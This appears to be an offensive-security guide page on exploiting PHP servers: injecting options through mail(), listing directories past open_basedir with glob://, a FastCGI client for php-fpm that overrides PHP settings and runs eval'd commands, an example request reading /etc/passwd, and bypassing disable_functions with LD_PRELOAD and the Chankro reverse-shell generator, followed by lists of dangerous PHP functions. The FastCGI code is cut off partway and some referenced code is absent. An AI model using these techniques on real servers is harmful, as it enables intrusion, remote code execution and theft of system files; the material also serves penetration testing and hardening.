**mail / mb\_send\_mail** - ****This function is used to send mails, but it can also be abused to inject arbitrary commands inside the `$options` parameter. This is because **php `mail` function** usually call `sendmail` binary inside the system and it allows you to **put extra options**. However, you won't be able to see the output of the executed command, so it's recommended to create shell script that writes the output to a file, execute it using mail, and print the output:
Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities.
**Disabled functions** is the setting that can be configured in `.ini` files in PHP that will **forbid** the use of the indicated **functions**. **Open basedir** is the setting that indicates to PHP the folder that it can access.
The PHP setting sue to be configured in the path _/etc/php7/conf.d_ or similar.
`open_basedir` will configure the folders that PHP can access, you **won't be able to to write/read/execute any file outside** those folders, but also you **won't even be able to list** other directories.
However, if somehow you are able to execute arbitrary PHP code you can **try** the following chunk of **codes** to try to **bypass** the restriction.
### Listing dirs with glob:// bypass
In this first example the `glob://` protocol with some path bypass is used:
```php
<?php
$file_list = array();
$it = new DirectoryIterator("glob:///v??/run/*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
$it = new DirectoryIterator("glob:///v??/run/.*");
foreach($it as $f) {
$file_list[] = $f->__toString();
}
sort($file_list);
foreach($file_list as $f){
echo "{$f}<br/>";
}
```
**Note1**: In the path you can also use `/e??/*` to list `/etc/*` and any other folder.
**Note2**: It looks like part of the code is duplicated, but that's actually necessary!
**Note3**: This example is only useful to list folders not to read files
### Full open\_basedir bypass abusing FastCGI
If **`php-fpm`** is configured you can abuse it to completely bypass **open\_basedir**:
Note that the first thing you need to do is find where is the **unix socket of php-fpm**. It use to be under `/var/run` so you can **use the previous code to list the directory and find it**.
Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy).
```php
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
*@author Pierrick Charron <pierrick@webstart.fr>
*@version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
*@var Resource
*/
private $_sock = null;
/**
* Host
*@var String
*/
private $_host = null;
/**
* Port
*@var Integer
*/
private $_port = null;
/**
* Keep Alive
*@var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
*@param String $host Host of the FastCGI application
*@param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
*@param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
*@return Boolean true if the connection should stay alive, false otherwise
This scripts will communicate with **unix socket of php-fpm** \(usually located in /var/run if fpm is used\) to execute arbitrary code. The `open_basedir` settings will be overwritten by the **PHP\_VALUE** attribute that is sent.
Note how `eval` is used to execute the PHP code you send inside the **cmd** parameter.
Also note the **commented line 324**, you can uncomment it and the **payload will automatically connect to the given URL and execute the PHP code** contained there.
Just access `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` to get the content of the `/etc/passwd` file.
{% hint style="warning" %}
You may be thinking that just in the same way we have overwritten `open_basedir` configuration we can **overwrite `disable_functions`**. Well, try it, but it won't work, apparently **`disable_functions` can only be configured in a `.ini` php** configuration file and the changes you perform using PHP\_VALUE won't be effective on this specific setting.
If you manage have PHP code executing inside a machine you probably want to go to the next level and **execute arbitrary system commands**. In this situation is usually to discover that most or all the PHP **functions** that allow to **execute system commands have been disabled** in **`disable_functions`.**
So, lets see how you can bypass this restriction \(if you can\)
You can use the tool [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) and it will indicate you which technique you can use to bypass `disable_functions`.
Just return to the begging of this page and **check if any of the command executing functions isn't disabled**. If you find just 1 of them, you will be able to use it to execute arbitrary system commands.
It's well known that some functions in PHP like `mail()`are going to **execute binaries inside the system**. Therefore, you can abuse them using the environment variable `LD_PRELOAD` to make them load an arbitrary library that can execute anything.
In order to abuse this misconfiguration you can [**Chankro**](https://github.com/TarlogicSecurity/Chankro). This is a tool that will **generate a PHP exploit** that you need to upload to the vulnerable server and execute it \(access it via web\).
**Chankro** will write inside the victims disc the **library and the reverse shell** you want to execute and will use the**`LD_PRELOAD` trick + PHP `mail()`** function to execute the reverse shell.
Note that in order to use **Chankro**, `mail` and `putenv`**cannot appear inside the `disable_functions` list**.
In the following example you can see how to **create a chankro exploit** for **arch 64**, that will execute `whoami` and save the out in _/tmp/chankro\_shell.out_, chankro will **write the library and the payload** in _/tmp_ and the **final exploit** is going to be called **bicho.php** \(that's the file you need to upload to the victims server\):
More information about this technique and Chankro here: [https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/)
Maybe using **PHP** to **enumerate** the box you can find a way to escalate privileges/execute commands \(for example reading some private ssh key\).
I have created a webshell that makes very easy to perform this actions \(note that most webshells will offer you this options also\): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited)
The code with more options mentioned here available I have found is [https://github.com/l3m0n/Bypass\_Disable\_functions\_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php)
These functions accept a string parameter which could be used to call a function of the attacker's choice. Depending on the function the attacker may or may not have the ability to pass a parameter. In that case an Information Disclosure function like phpinfo\(\) could be used.
Most of these function calls are not sinks. But rather it maybe a vulnerability if any of the data returned is viewable to an attacker. If an attacker can see phpinfo\(\) it is definitely a vulnerability.
**phpinfo**
**posix\_mkfifo**
**posix\_getlogin**
**posix\_ttyname**
**getenv**
**get\_current\_user**
**proc\_get\_status**
**get\_cfg\_var**
**disk\_free\_space**
**disk\_total\_space**
**diskfreespace**
**getcwd**
**getlastmo**
**getmygid**
**getmyinode**
**getmypid**
**getmyuid**
### Other
**extract** - Opens the door for register\_globals attacks \(see study in scarlet\).
**parse\_str** - works like extract if only one argument is given.
putenv
**ini\_set**
**mail** - has CRLF injection in the 3rd parameter, opens the door for spam.
**header** - on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header\("location: ..."\); and they do not die\(\);. The script keeps executing after a call to header\(\), and will still print output normally. This is nasty if you are trying to protect an administrative area.
**proc\_nice**
**proc\_terminate**
**proc\_close**
**pfsockopen**
**fsockopen**
**apache\_child\_terminate**
**posix\_kill**
**posix\_mkfifo**
**posix\_setpgid**
**posix\_setsid**
**posix\_setuid**
### Filesystem Functions
According to RATS all filesystem functions in php are nasty. Some of these don't seem very useful to the attacker. Others are more useful than you might think. For instance if allow\_url\_fopen=On then a url can be used as a file path, so a call to copy\($\_GET\['s'\], $\_GET\['d'\]\); can be used to upload a PHP script anywhere on the system. Also if a site is vulnerable to a request send via GET everyone of those file system functions can be abused to channel and attack to another host through your server.
**Open filesystem handler**
**fopen**
**tmpfile**
**bzopen**
**gzopen**
**SplFileObject**->\_\_construct
**Write to filesystem \(partially in combination with reading\)**
